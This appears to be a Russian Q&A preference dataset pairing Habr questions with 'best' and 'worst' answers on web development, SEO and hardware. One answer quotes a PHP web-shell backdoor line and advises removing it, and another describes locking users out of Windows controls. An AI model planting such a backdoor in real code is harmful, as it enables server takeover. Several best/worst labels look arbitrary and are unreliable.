Vikhrmodels/habr_qa_sbs huggingface dataset:
Вопрос: Два вопроса по SEO (nofollow и расположение текста в коде)?

Лучший ответ:
В nofollow имеет смысл прятать ссылки на «плохие» сайты. Но лучше тогда такие ссылки совсем удалить. Еще вариант, когда надо nofollow — ссылка с рекламного баннера. Баннер рекламодателя честно показывается посетителям, но Гуглу мы говорим, что за эту ссылку мы не несем ответственности.
Если же ссылки внутри статей ведут на тематические сайты, то прятать их нет смысла, т.к. это совершенно естественно.

Перенос текста к началу может помочь, если на странице куча другого контента, который находится перед ним. Но если это так, то имеет смысл убрать ненужные блоки?

Худший ответ:
Захламленность внешними линками — это всегда не гуд. И ссылки не прячутся nofollow, они не учитываются ПС а точнее учитываются но с меньшим приоритетом.
Вопрос: Как организовать хранение изображений на сервере?

Лучший ответ:
Распихивать по хешу по подпапкам
/c4c/a42/38a0b923820dcc509a6f75849b

Худший ответ:
/год/месяц/день/
или
/год/месяц/день/тип объявления
Вопрос: Яндекс.Деньги: Идентификация для Украины

Лучший ответ:
Два года назад решали так

Худший ответ:
У брата тоже заблокировали счет, пока не решили что делать, но попробуем отправить нотариально заверенное заявление.
Вопрос: Как запретить пользователю закрывать, сворачивать программу?

Лучший ответ:
Отрубить им всем руки и другие выступающие части тела. Это я к тому что на 100% защититься не получится, все равно если постараться можно будет закрыть. Но можно минимизировать возможности. По личному опыту для этого не достаточно чего то одного, нужен целый ряд манипуляций. Если вкратце использовал насколько я помню эти:блокировка CTRL+ALT+DEL на уровне реестраудаление совсем диспетчера задачглобальный хук всех клавиш клавиатуры, отправка сигнала "обработано" по всем "ненужным" клавишам, тем самым сигналы до других приложений просто не доходят. отслеживание активного окна, если сменилось мгновенное переключение обратно на нужноециклический перезапуск нужного окна на случай его крашаблокировка клавиатуры и мыши на время перезапуска
это только то что на вскидку вспомнил, все это я делал в виде приложения на C#, тогда это была оболочка вместо explorer для игровых машин, взламывать ее получалось очень редко и только самыми изощренными способами, которые я в конце концов прикрыл. Все это могло работать под админской учеткой без опастности для здоровья машины.

Худший ответ:
На самом деле манипуляций реально много. К вышесказанному добавлю, что можно в реестре поменять значение Shell с explorer'a на ваше приложение.
Вопрос: Как уменьшить время ответа сервера для сайта на ModX? Как ускорить ModX?

Лучший ответ:
400 мс - это время генерации страницы на PHP. Сравнивать нужно не с HTML, а с другим движком, или php скриптом.
Например, вывод Hello Word на чистом php:
Вывод на свежеустановленном MODX Revolution со стандартным шаблоном:
Вход в PhpMyAdmin
Итого: 
Чистый php - 2 мс
MODX - 15 мс
PhpMyAdmin - 40 мс
Проверяю на виртуальной машине, задержек от сети нет.
Можно сказать, что минимальное время генерации страницы MODX ~15 мс, всё что у вас сверху - это вы накрутили вызовом сниппетов, чанков и тд + работа сети.
Сеть оптимизировать не получится, значит нужно брать и смотреть, на что тратится время при генерации страницы.
Как минимум, вывести плейсхолдеры [^t^], [^q^] и [^qt^].

Худший ответ:
Дисковая подсистема не тупит?
Вопрос: Как заставить плавать блок?

Лучший ответ:
www.w3schools.com/css/css3_animations.asp
www.the-art-of-web.com/css/css-animation
demo.tutorialzine.com/2009/12/colorful-clock-jquer...
Все это на CSS3, тоесть требует минимального порога вхождения. Не ищите готовый ответ, попробуйте сделать сами на основе выше приведенной информации, это не так сложно.

Худший ответ:
www.useragentman.com/blog/2013/03/03/animating-cir...
А вообще это, простите, дно. Называться веб-программистом и не уметь такое сделать или загуглить.
Вопрос: Как правильно продвигать сайт сразу по нескольким городам Дальневосточного ФО?

Лучший ответ:
В яндексе вебмастере в качестве региона можно задать Дальневосточный федеральный округ, География сайта → Регион сайта.Насколько такой метод будет эффективен в конкуренции с площадками с поддоменами под города (например, "khabarovsk.<основной домен>") по каждому отдельному городу округа?Если у Вас сайт будет оптимизирован, как в плане работы, так и в плане SEO, лучше чем у конкурентов, то продвинуть сайт на более высокие позиции у Вас будут очень хорошие шансы. На первом месте сейчас качественный контент и качественная ссылочная масса. Если люди будут всегда находить на Вашем сайте информацию релевантную их запросам, то еще и поведенческие факторы у сайта будут на высоте. Влияние домена, который Вы привели в примере, настолько мизерно, в сравнении с более важными факторами, что о нем можно не задумываться.1. Сайту присваиваем регион "Дальний Восток". Создаем раздел "тренинг по продажам", оптимизируем под геозависимый запрос "тренинг по продажам".
2. Создаем подразделы "тренинг по продажам Владивосток", "тренинг по продажам Хабаровск" и т.д. и оптимизируем под соответствующие геонезависимые запросы.Получается перебор с ключом "тренинг по продажам" ссылку site.ru/sales-training/sales-training-khabarovsk лучше сократить, сделав структуру site.ru/sales-training/khabarovsk или site.ru/khabarovsk/sales-training

Худший ответ:
Так же как и по не дальнему востоку, с чего вы взяли что будут какие то отличия то ?
Вопрос: Почему трудно найти PHP программистов в Казани?

Лучший ответ:
Достойные кандидаты в провинции уже научились работать удаленно. Многим это понравилось, и они теперь долго будут думать, прежде чем решиться перебираться в офис.

Пишите четкое ТЗ, делайте подробный и прозрачный план-график с еженедельной приемкой, согласовывайте его с удаленными кандидатами и работайте с ними.

Худший ответ:
Обычно хороший состоявшийся веб-программист в Казани уже имеет хорошее место работы и не собирается его менять.

По нашему опыту: ищем толковых людей с начальными знаниями в веб-разработке и обучаем, выходит обычно неплохо

Еще есть вариант если у вас уже есть работающие программисты можно выйти через них на их знакомых хороших программистов, а дальше уже предлагать им лучшие условия труда и т.д.

Так что бы нормальный php-программист сидел без работы и искал вакансию практически не бывает, если только разваливается какая-нибудь компания.

Обычно работодатели выходят на программиста через знакомых или еще как-то.
Вопрос: Можно ли отправить магнит по почте?

Лучший ответ:
Вы можете отправлять магниты только как посылку. Для международных отправлений есть ещё услуга «Мелкий пакет».

Читайте тут:

Письменная корреспонденция

Бандероли и посылки

Худший ответ:
мне несколько лет назад не дошло даже письмо с небольшой пачкой фотографий, до 5 мм толщиной. Думаю, бандероль будет надежнее.
Вопрос: Опять вопросы про удаленную работу?

Лучший ответ:
Все есть.
Но нужно понимать, что удаленная работа фуллтайм - непривычно для большинства работодателей, и в большинстве задач удаленную работу проще отфрилансить.
Поэтому количество таких вакансий очень ограничено.
В своей жизни встречал парочку таких человек, но каждый раз это была достаточно уникальная ситуация. Вот 4-й вариант, гибридный, можно попробовать договориться, но не всегда сразу.

Худший ответ:
Сейчас удаленная работа на полный рабочий день весьма популярна в США. Может стоить посмотреть в сторону заграничных компаний?
Например, вот здесь можно разослать свое резюме по списку работодателей на удаленную работу:
talentboard.me/candidate
А вот здесь проскакивают очень интересные вакансии:
https://weworkremotely.com/
Вопрос: Как стать СИП провайдером «для себя»?

Лучший ответ:
Есть такой вариант. Ставите железку прямо «на месте». Подключаете ее к местной телефонной сети (как правило по безлимитному тарифу) и к интернету. Потом через эту железку делать звонки в местную сеть. По крайней мере так можно закрыть наиболее затратные направления

Худший ответ:
Получить лицензию в телекоме бывшего СНГ — обойдётся в такую копеечку, время, нервы, что лучше поискать более дешевых местных или не очень sip провайдеров…
Вопрос: Существует ли поисковик, отсортированный по дате?

Лучший ответ:
В Google слева кнопка Latest

Худший ответ:
Гугол: слева Custom Range + Sorted by Date.
Вопрос: Как найти IP адрес Smart TV в Wi-Fi сети на iOS / OS X устройстве?

Лучший ответ:
А не проще ли давать телевизору заранее известный адрес, и ничего не сканировать, не искать, и не пинговать?
Если же вам нужно искать телевизоры в чужой/произвольной вай фай сети, то думаю это надо смотреть в сторону UPnP.

Худший ответ:
Хардкорно) А по существу, надо узнать, хотя бы какие порты открыты на телеке, а дальше внутри вашей сети сначала определить доступные хосты, а дальше через те же  сокеты попробовать проверить открытые на них порты. Или, может быть, в ТВ есть встроенный web-сервер? Тогда можно зайти на него.
В общем, берем nmap, смотрим, что запущено на телеке и дальше с айфона пробуем подключаться
Вопрос: У меня одного сегодня флеш так предложил обновиться?

Лучший ответ:
У меня предложил нормально. Что-то с кодировочкой у вас. Система то лицензионная? ;-)

Худший ответ:
У меня на ХР так через раз
Вопрос: Почему jQuery UI Datepicker не открывается с первого раза?

Лучший ответ:
Как читал в какой-то одной более-менее авторитетной книжке:4 рельсы замечательны. Первое, что нужно сделать - удалить строчку gem 'turbolinks'

Худший ответ:
turbolinks мешают
2 пути: 
   a) убрать turbolinks 
   b) в application.js строчку //= require turbolinks заменить на //= require jquery.turbolinks
и разумеется в гем файл gem 'jquery-turbolinks'
с) И собственно вот ещё turbolinks#events
Вопрос: Какой выбрать миникомпьютер для дома?

Лучший ответ:
Я консервативен.
www.ulmart.ru/goods/391886
miniITX, Intel Sandy Bridge, DDR3, HDMI на борту, две сетевых карты.
Отлично тянет HD-видео, не греется, не шумит, влезает в самые мелкие корпуса (в том числе и отличные самодельные). Куплено уже больше пяти таких малышей.

Худший ответ:
вы определитесь с форм-фактором

«сидя на диване с мышкой смотреть интернет, фильмы и немного музыки» — это может делать современный телефон, выводите с него картинку на телевизор, мышку с клавой по блютусу подключили и вперед :-)

///

Я себе уже много лет собираю HTPC, один из последних описан тут — people.overclockers.ru/ronaldo/17446/Postroenie_HTPC_i_drugie_domashnie_kompjutery_chast_1

правда сейчас уже пересмотрел концепцию и поменял местами железо из NAS-а ( people.overclockers.ru/ronaldo/17525/Postroenie_HTPC_i_drugie_domashnie_kompjutery_chast_2 ) и HTPC + Целерон обменял с доплатой на Core i5 3470 (виной тому проблема с охлаждением, в пассиве AMD не смог работать летом в жару, а покупать кулер за 2000р я посчитал бредовой идеей т.к. за те же деньги я обменял целерон на Core i5, не понимаю почему под AMD нет недорогих кулеров низкопрофильных)
Вопрос: Стоит ли волноваться или нет?

Лучший ответ:
International Letter с трекингом LC**US дальше вообще не будет отслеживаться, ни на usps.com, ни на сайте почты России.

Худший ответ:
ого. А сколько такая посылка должна идти? на официальном сайте написано 6-10 дней.
Вопрос: Не понимаю механику запроса?

Лучший ответ:
Сразу бросается в глаза то, что скобка не там стоит:strlen($get>0)
Должно быть:strlen($get)>0

Худший ответ:
php.net/manual/ru/language.variables.scope.php
функция не видит $get
Вопрос: Как получить индекс элемента массива с bsearch на Си?

Лучший ответ:
Вычтите из указателя указатель на начало массива. Будет индекс.

Худший ответ:
int *pointer;
    pointer = &a[0];
    printf("%d", &p - &pointer);
Елси так то я получаю 2 
-100 -32 -31 0 1 2 3 31
а 0 3ий
Вопрос: Поделиться статьей с Хабра

Лучший ответ:
Воспользуйтесь сервисом www.peeep.us/ Работает не только с Хабром.

Худший ответ:
Сохранить страницу как HTML и заархивировать?
Вопрос: Интересные блоги/источники информации по архитектурам Web приложений?

Лучший ответ:
общепринятых паттернов нет.
Почитайте Мартина Фаулера, Боба Мартина, Крэйга Лармана, Кента Бэка, банду четырех, Эрика Эванса и других людей и возможно в этом вопросе у вас поменяется мнение. Скажем SoA и гексагональная архитектура, CQRS и т.д. хорошо вписываются в концепцию распределенных систем. 
Как вы комбинируете все идеи которые нагенерили за последние лет 20, это уже другое дело. А высокие нагрузки (реально высокие) когда нужно вкладывать кастыли - эта задача появляется далеко не сразу. И если архитектура изначально позволяет масштабировать приложение - проблем будет явно меньше. Преждевременная оптимизация - корень всех зол (почти).
По поводу технологий, что где и когда - никто не даст вам такого ответа. Проще всего, раз уж речь идет о распределенной системе, проектировать систему таким образом, что бы узкое место можно было легко заменить. Скажем если у вас весь проект написан на Python и один его компонент подвержен особенно большим нагрузкам, можно переписать его на Go или C++ а всю остальную систему оставить без изменений. Если у вас узким местом стала база - вводить кэши или уровни кешей. Если узким местом стала шина данных между различными компонентами системы - думаем как оптимизировать это звено (какие-нибудь protobuf для обмена данными, zeromq или свой бинарный протокол)

Худший ответ:
Вы ищите то, чего нет)). Архитектура, как правило - коммерческая тайна. И дело тут не в том, что вот же ж понимаешь зажали общественное достояние. Дело в безопасности и защите от конкурентов.
Архитектура строится под конкретное ТЗ. Да, есть базовые паттерны да, есть привычные связки (LAMP например), но бизнес логика навязывает свои уникальные требования и за счет этого различия у проектов огромнейшие.
Веду к тому, что вы сможете развить свои навыки только в разных компаниях, которые реализуют интересующие вас направления (оптимальный срок обычно 2 года).
Вопрос: Как подключать шрифты в LESS?

Лучший ответ:
Я для этого сделала примесь:.font(@fontName; @urlName: @fontName; @weight: normal; @style: normal) {
  font-family: '@{fontName}';
  src: url('/fonts/@{urlName}/@{urlName}.eot');
  src: url('/fonts/@{urlName}/@{urlName}.eot#iefix') format('embedded-opentype'),
  url('/fonts/@{urlName}/@{urlName}.woff') format('woff'),
    url('/fonts/@{urlName}/@{urlName}.ttf') format('truetype'),
    url('/fonts/@{urlName}/@{urlName}.svg') format('svg');
    font-weight: @weight;
    font-style: @style;
}
Потом вызываю её:@font-face {
  .font(@fontRegular);
}
@font-face {
  .font(@fontRegular; @fontBold; bold);
}
Предварительно задав переменные с необходимыми шрифтами:@fontRegular: 'OpenSans';
@fontBold: '@{fontRegular}-Bold';
На выходе получаю готовый CSS =)@font-face {
  font-family: 'OpenSans';
  src: url('/fonts/OpenSans/OpenSans.eot');
  src: url('/fonts/OpenSans/OpenSans.eot#iefix') format('embedded-opentype'), 
  url('/fonts/OpenSans/OpenSans.woff') format('woff'), 
  url('/fonts/OpenSans/OpenSans.ttf') format('truetype'), 
  url('/fonts/OpenSans/OpenSans.svg') format('svg');
  font-weight: normal;
  font-style: normal;
}
@font-face {
  font-family: 'OpenSans';
  src: url('/fonts/OpenSans-Bold/OpenSans-Bold.eot');
  src: url('/fonts/OpenSans-Bold/OpenSans-Bold.eot#iefix') format('embedded-opentype'),
   url('/fonts/OpenSans-Bold/OpenSans-Bold.woff') format('woff'), 
  url('/fonts/OpenSans-Bold/OpenSans-Bold.ttf') format('truetype'),
   url('/fonts/OpenSans-Bold/OpenSans-Bold.svg') format('svg');
  font-weight: bold;
  font-style: normal;
}
Вот, собственно, и всё) Может кому будет полезно.

Худший ответ:
А они и не должны были предусматривать, это же обычный css, пишите как есть.
Вопрос: OpenSource проекты на ASP.NET, которые можно рассматривать как образец структуры проекта и стиля кода?

Лучший ответ:
А вот так?

Худший ответ:
Знаю только обучающие проекты, а на реальные самому хотелось бы посмотреть (при чем как на web forms, так и на mvc).
Вопрос: Как встроить код HTML и JS в страницу Wordpress?

Лучший ответ:
Вот тут отлично описан процесс.

Худший ответ:
Вставил через iframe. Отлично работает. Способы из первого ответа опробую на досуге.
Вопрос: Cross Domain XmlHttpRequest

Лучший ответ:
Так вам надо получить ответ или нет? 

Если нет задачи обязательно получить ответ, то:

создаем скрытый ифрейм c атрибутом name=«blahblah»
ставим форме атрибут target=«blahblah»
PROFIT!


Худший ответ:
Не подходит, к сожалению, т.к. xxx.site.com проверяет Origin, а браузер в Origin ставит site.com
Вопрос: Бывают ли стилеты и кейлогеры на маке?

Лучший ответ:
А что, простите, мешает некоторой программе получить доступ к некоторым файлам?

Худший ответ:
Самый распространенный кейлоггер PuntoSwitcher есть для мака. Дальше делайте выводы сами :)
Вопрос: Пользовательский интерфейс и C# на html?

Лучший ответ:
Не советую так делать.
На C# интерфейс будет всегда быстрее)))

Худший ответ:
Если хочется веб интерфейса, но под капотом C# делайте веб сайт и back делайте на C# в виде службы. Если ваш сайт хочется запустить в виде приложения любой желающий это сделает себе сам используя Chrome
Вопрос: Уровень знаний программирования под iOS?

Лучший ответ:
Буду рад помочь.

Худший ответ:
Обращайтесь. :)
Вопрос: Как в html страницу вставить изображение из zip-архива?

Лучший ответ:
А не нужно ли там разархивировать изображение?

Худший ответ:
Можно разархивировать картинку на лету, формировать соответствующий заголовок и отдавать в теле содержимое файла. Но это плохая идея, потому что лишняя нагрузка на всю систему, имеет смысл делать так только на поиграться.
Вопрос: Авторизация через номер телефона?

Лучший ответ:
Хочу такую же систему авторизации на сайте, как у VK.com (по телефону). Куда копать?Подробное сравнение популярных SMS/Voice сервисов ...

Худший ответ:
Вам нужно прикрутить любого годного оператора самостоятельно. Авторизацию в приложении в любом случае за вас никто не сделает, а отправить смс из приложения не сложная задача.
Вопрос: Как избавиться отbase64_decode код на странице?

Лучший ответ:
Такой код расценивается как вредоносный, рекомендуется удалить его полностью
от самого начала и до конца и проверить файлы на вставку этого кода<?php eval(base64_decode($_POST['n08c394']));?>

Худший ответ:
да, скриптом переименовал eval(base64_decode($_POST['n08c394'])); на eval(blabla($_POST['n08c394']));
Вопрос: Как понять момент в замыкании(JS)?

Лучший ответ:
Переписал код, надеюсь, более понятно стало:function makeCounter(){
    //Эта переменная видна только здесь
    var currentCount = 0;
    
    //Эта функция - тоже только здесь, зато она видит currentCount
    function getCountValue(){
        currentCount += 1;
        return currentCount;
    }
    
    //Возвращаем саму функцию, а не её значение
    return getCountValue;
}

//counter = getCountValue
var counter = makeCounter();

counter(); //На самом деле - вызов getCountValue()

Худший ответ:
В примере сначала идет присвоение переменной функции makeCounter (об этом даже название функции говорит), которая в свою очередь возвращает другую функцию, в результате переменная counter = function() {
  currentCount++;
  return currentCount;
}; Которую мы потом вызываем
Вопрос: Итератор — это указатель на адрес элемента контейнера?

Лучший ответ:
Итератор - это не указатель. Это объект класса vector::iterator, который перегружает свои операторы так, что работа с ним выглядит так же как и с указателем. Например, он перегружает операторы разименования (*),  оператор обращения к члену через указатель (->), и арифметические операторы (+ и -).
Да, ваш код выведет значение первого элемента.

Худший ответ:
Нет. Итератор это класс который предоставляет доступ к элементам контейнера.
Этот класс имеет переопределенный операторoperator*()
Поэтому действие в вашем примере похоже на разыменование указателя.
Вопрос: На каких ресурсах можно изучать алгоритмы и структуры данных, реализованные на PHP?

Лучший ответ:
aliev.me/runestone вот такая есть штука по алгоритмам и структурам данных

Худший ответ:
php.net/manual/ru/langref.php
Большинство вопросов связанных с php хорошо описаны на php.net, с примерами и комментариями + большая часть переведена на русский.
Вопрос: Почему не копируется php-файл через cURL и как это исправить?

Лучший ответ:
Не понимаешь - откажись от тестового задания, и учись.В HTTP-заголовках проблем не нашёл, А ты хоть один-то видел?

Худший ответ:
HTTP/1.1 302 Found
...
Location: /sandbox/some_source.php?redirect=1
Тела нет, потому и размер 0, cURL в вашем случае записывает только тело. А тут редирект на страницу /sandbox/some_source.php?redirect=1 указан, естественно, при 302 никакого тела запроса нет и не нужно
Вопрос: Запретить закачку файлов определенного типа?

Лучший ответ:
Это не техническая проблема, а административная. Надо создать условия доказуемости проеступления (факта заливки запрещенного контента) и предусмотреть соответствующее наказание. Например, приделать (написать/найти готовый) логгер закачек, который отслеживает кто и когда заливал файл. При обнаружении нарушения виновника публично наказать внешним носителем анально увольнением, чувствительным денежным штрафом.
Если действовать только техническими средствами, то противная сторона всегда будет искать способы обойти запреты. Тем более, что наказания не предусматривается.

Худший ответ:
Каспер на конференции рассказывал, что у него есть модуль для работы с флешками, думаю в нем можно все настроить.
Вопрос: Какой ресурс поможет изучить Swift с нуля до свободного владения языком?

Лучший ответ:
Основы понять поможет, например swiftbook.ru.
А до профессионального уровня нужно развиваться самостоятельно, практикуясь и изучая документацию.

Худший ответ:
На сайте coursera есть неплохой курс от торонтского университета. Если учить чисто для себя, то это бесплатно
Вопрос: Как отловить ошибку приведения даты в C#?

Лучший ответ:
Не пробовали дату в стандартном формате писать? Как бы всегда избавляет от проблем такого родаCreated >= '19.10.2015 0:00:00' AND Created <= '26.10.2015 0:00:00'UPD:
Для тех, кто в подобной ситуации, но не дошёл до комментариев:TRY_PARSE('26/10/2015 00:00:00' AS DATETIME USING 'ru-ru')

Худший ответ:
Привет.
Думаю, такое может быть если формат даты неверный.
Вопрос: HTML5 Семантика?

Лучший ответ:
Когда появляются вопросы толкования тегов, я обращаюсь к источнику, в данном случае источником является стандарт от w3.org.
Согласно данному стандарту,  существует тег main для представления основного контента. Данный тег может встречаться на страницу только один раз.
Тег article представляет самостоятельную законченную сущность. Тэг может быть вложенным, но тогда он должен отвечать основной тематике родительского тега.
Тэг header, в свою очередь, представляет вводную к тексту, вопреки пониманию верстальщиков о хедере и футере. В вашем случае этот элемент стоит применить к абзацам с превью справа.
Тэг aside служит для представления блока дополнительного контента, как например блок справа на примере.
Тэг nav используется для указания блоков навигации.
Тэг section используется для тематической группировки контента.
Я предлагаю Вам такую структуру, но возможны и варианты.
Главной ошибкой предложенной Вами семантики я вижу отсутствие выделения основной статьи тегами (Вы используете для этого классы).

Худший ответ:
Дело в том, что на странице таких блоков, как в примере 8 штук, с разными категориями и разным расположением статей.
Значит как я понял, делить эти блоки именно article ? а внутренний контент уже делиться на section и aside ?<article class="one-big-post">  <!--- На странице будет несколько подобных блоков  с разным контентом и расположением элементов --->
 <header class="cat-title"> <!--- Каждый блок со своим названием категории --->
  <h1>Название Категории</h1>
 </header>
  <section>
    <img></img>
    <h1>Название поста</h1>
    <p>Пост</p>
    <a></a>
  </section>
   <aside>
     <nav>
        <section> <!--- Тут section т.к посты выводятся из одной категории --->
          <h1>Правый Пост</h1>
          <header>Текст</header>
        </section>
    </nav>
   </aside>
</article>